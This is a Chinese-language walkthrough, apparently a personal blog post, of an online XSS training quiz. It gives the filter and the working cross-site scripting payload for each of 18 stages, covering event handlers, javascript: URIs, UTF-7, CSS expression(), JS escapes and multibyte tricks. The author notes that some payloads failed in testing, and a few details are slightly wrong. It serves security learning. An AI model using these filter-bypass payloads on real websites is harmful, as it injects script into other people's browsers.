您的位置:首页 > 其它

做了一个XSS的闯关游戏,攻略贴上来

2013-12-13 09:56 477 查看
游戏地址: http://xss-quiz.int21h.jp[/code] 
第一关:比较简单,直接输入
http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9
第二关:也相对简单,闭合标签
http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1
"><script>alert(document.domain);</script>

 

第三关:http://xss-quiz.int21h.jp/stage-3.php?sid=9b217ccdc6e28f1a018d6df366553a6152bc65f5

客户端会把输入点的特殊符号给过滤掉,这个地方开始的时候难住了,没想到怎么绕过去

后来查了下,说有用tamper data工具,拦截提交请求,所以也尝试一下

(思考点,原输入点被过滤,看附近是否还有其他注入点科绕过,比如这题,可以对select部分进行绕过

因为这个地方客户端应该不会过滤)

用tamper data 拦截search请求,然后修改p2值为

Japan</option><script>alert(document.domain)</script>

成功。这个地方也不确定,有人这么做,

第四关:
http://xss-quiz.int21h.jp/stage_4.php?sid=293c09bc53b81045a43ac5a79ac535daacbeae87
直接输入,肯定是不对的,这个输入点也是被过滤的,要绕过客户端的这种符号的过滤,跟第三个类似

点击输入框,查看元素,发现还有一个隐藏的框,直接在查看元素的修改invisible:hideen为text

这样在这个框内输入注入串:text,

然后输入:hackme"></input><script>alert(document.domain)</script>

第五关:
http://xss-quiz.int21h.jp/stage--5.php?sid=40b33710efa4a848d21b5a6dd47671e82c31d853
字符串截断+标签闭合

这种形式的是客户端限制的,我们还是通过抓请求包,修改请求包的方式进行绕过

用tamper data拦截请求,并且注意input标签属性的闭合

”><script>alert(document.domain)</script>;

第六关:
http://xss-quiz.int21h.jp/stage-no6.php?sid=236f8f125f43d1efffd8f96d6f8f5b590d880847
input标签对<>进行了过滤,给的提示也是event handle attributes

这里我们就在input标签里进行添加事件

" onmouseover="alert(document.domain);

第七关:
http://xss-quiz.int21h.jp/stage07.php?sid=6fbeba7fd57ce51cf3bb463c8cae1da350722b2e
这个也是input标签,类似上一个,但是你会发现,同时还过滤掉了“,也就是带着引号是不好使得

如果这个1

如果直接这么用是可以绕过的,

onmousemove=alert(document.domain)

服务器端可能会对这种=两边的引号自己会添加

第八关:
http://xss-quiz.int21h.jp/stage008.php?sid=b3d0fe99bca156329272fa022f49c556e0a30d80
这个地方是填入,伪协议

javascript:alert(document.domain)

第九关:
http://xss-quiz.int21h.jp/stage_09.php?sid=aac40201929779e17453875d9d1ebf4ce706f56f
Hint: UTF-7 XSS

搜索下:utf7 xss ,这里有个文章http://lcx.cc/?i=2862

这篇文章有(UTF-7编码解码工具)

这种形式已经出现好几年前了

可以通过

<1> 可以通过设置 @charset=utf-7 设定为 utf-7编码

<2> 可以通过在正文开头设置 utf-7 bom 设定为 utf-7编码

然后浏览器在解析时候,会按照utf-7的格式进行解析

p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=utf-7   //现在只有IE支持utf-7所以IE下通过

别人是这么说的,可是没有实验成功

第十关
http://xss-quiz.int21h.jp/stage00010.php?sid=ebbdd5208bce92c3c26c5da4e79c3a0086f16d5e
这个地方会过滤掉domain

因此采用

"><script>alert(document.domdomainain)</script>

因为客户端会自动过滤掉domain,这样dom(domain)ain变为domain

第十一关
http://xss-quiz.int21h.jp/stage11th.php?sid=2ea843cedd78f5b9dfd684cc00be42481f72449c
这一关,s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;

对关键字符串进行了过滤,所以只能想办法不利用这些串绕过

"><a href="javas cript:alert(document.domain);" >xss </a><"

这个在IE8下可以用,在IE6,firefox下都没有实验成功

别人写的"><iframe src="javascr ipt:alert(document.domain);"></iframe>

确实可以弹,但是没有给下一关的提示

第十二关
http://xss-quiz.int21h.jp/stage_no012.php?sid=b6b9666eca49506330251b9c3e9b0603081e7cae
过滤掉 "s/[\x00-\x20\<\>\"\']//g;"

可以用下面方式闭合,在IE8下有效,(``只有IE能解析)

`` onmousemove=alert(document.domain)

第十三关
http://xss-quiz.int21h.jp/stage13_0.php?sid=9eb9941d92e5506584eb05f5f9ce3d39dfec842f
样式表绕过

xss:expression(onmousemove=function(){alert(document.domain)})

(为什么这么写,http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=2224,说CSS样式的定义应该写进函数里,不然会报错)

background-color:#f00;background:url("javascript:alert(document.domain);"); 这种方式没有成功

第十四关
http://xss-quiz.int21h.jp/stage-_-14.php?sid=465715a8505be6ba6ddc5d51ef81345c22c97aa0
关键串的替换: s/(url|script|eval|expression)/xxx/ig;

xss:expre/*hgh*/ssion(onmousemove=function(){alert(document.domain)})

下面这个比较好

cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

第十五关
http://xss-quiz.int21h.jp/stage__15.php?sid=f530a129f54ea7c80420c9c8cd5ea68f3ea139c6
这个是document.write()

实验可知道这个会过滤掉<>

由于ducumen.write写的时候,

script自解码机制,参考 HTML与JavaScript自解码机制 http://book.51cto.com/art/201301/378154.htm
HTML:进制编码:&#xH;(十六进制格式)、&#D;(十进制格式),最后的分号(;)可以不要。

HTML实体编码:即上面的那个HtmlEncode。<> <,>

onclick里的这段JavaScript出现在HTML标签内,意味着这里的JavaScript可以进行HTML形式的编码

如果用户输入出现在<script>里的JavaScript中用户输入的这段内容上下文环境是JavaScript,不是HTML(可以认为<script>标签里的内容和HTML环境毫无关系),此时用户输入的这段内容要遵守的是JavaScript法则,即JavaScript编码,具体有如下几种形式。

Unicode形式:\uH(十六进制)。

普通十六进制:\xH。

纯转义:\'、\"、\<、\>这样在特殊字符之前加\进行转义。

在JavaScript执行之前,这样的编码会自动解码

既然这个地方会过滤掉<>,就可以先按照JS编码

\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e

第十六关
http://xss-quiz.int21h.jp/stage00000016.php?sid=91ab1f033bb9dbd048f22e230f591716b88585fe
这题跟上一题类似,但是增加了一个过滤,就是过滤掉了\x

上面我们也说了js脚本的自解码功能,这里我们可以把其换成unicode的形式

切结加\\u

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

这是别人总结的能引起Dom XSS的入口函数:

document.write()  

document.writeln()  

document.body.innerHtml  

eval()  

window.execScript()  

window.setInterval()  

window.setTimeout()

第十七关(这一关原理明白,就是要吃掉引号,但是关于多字节不很了解,把别人的解答放了上来)
http://xss-quiz.int21h.jp/stage-No17.php?sid=463e60e61219d8df193508ef13f2c6626ee40ff6
半角片假名使用两个字节来表示。

“第一位字节”使用0x8E

“第二位字节”使用0xA1-0xDF

JIS X 0208字元使用两个字节来表示。

“第一位字节”使用0xA1-0xFE

“第二位字节”使用0xA1-0xFE

JIS X 0212字元使用三个字节来表示。

“第一位字节”使用0x8F

“第二位字节”使用0xA1-0xFE

“第三位字节”使用0xA1-0xFE

双引号是0x22,这道题应该在Name框中使用某个东东吃掉Name框第二个“

然后和Mail框的第一个“闭合

看了下别人的答案,思路都差不多:

最终效果:

1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7

但是版本问题,没法显示。。

Ps:楼上的%A7,是要抓包,修改的,而不是在请求的时候修改,记得把length修改对。

Ps:楼上的%A7,是随意的,只要是符合上面说的第一个字节范围即可。。

第十八关
http://xss-quiz.int21h.jp/stage__No18.php?sid=77d927a0cccb3403cdd3a6b9fb910418d8682d1a
Hint: us-ascii high bit issue

这个可以看看这个网站的一些说明,
http://ha.ckers.org/blog/20060829/us-ascii-issues-redux/
这里要注意的是在这一关的charset里写的是us-ascii,IE浏览器的问题,IE可以跑

奇怪的是这个网络的用例,http://ha.ckers.org/blog/20060621/us-ascii-xss-part-2/

在IE6环境下可以跑,但是这一关却执行不成功

就是把最高位置为1即可

比如说:

< 的16进制是3C,2进制是0011 1011,最高位置为1之后,变成1011 1011 ,也就是BC

> 同理变成BE

“ 同理变成A2

所以:

"><script>alert(document.domain)</scirpt>

就变成:

%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  xss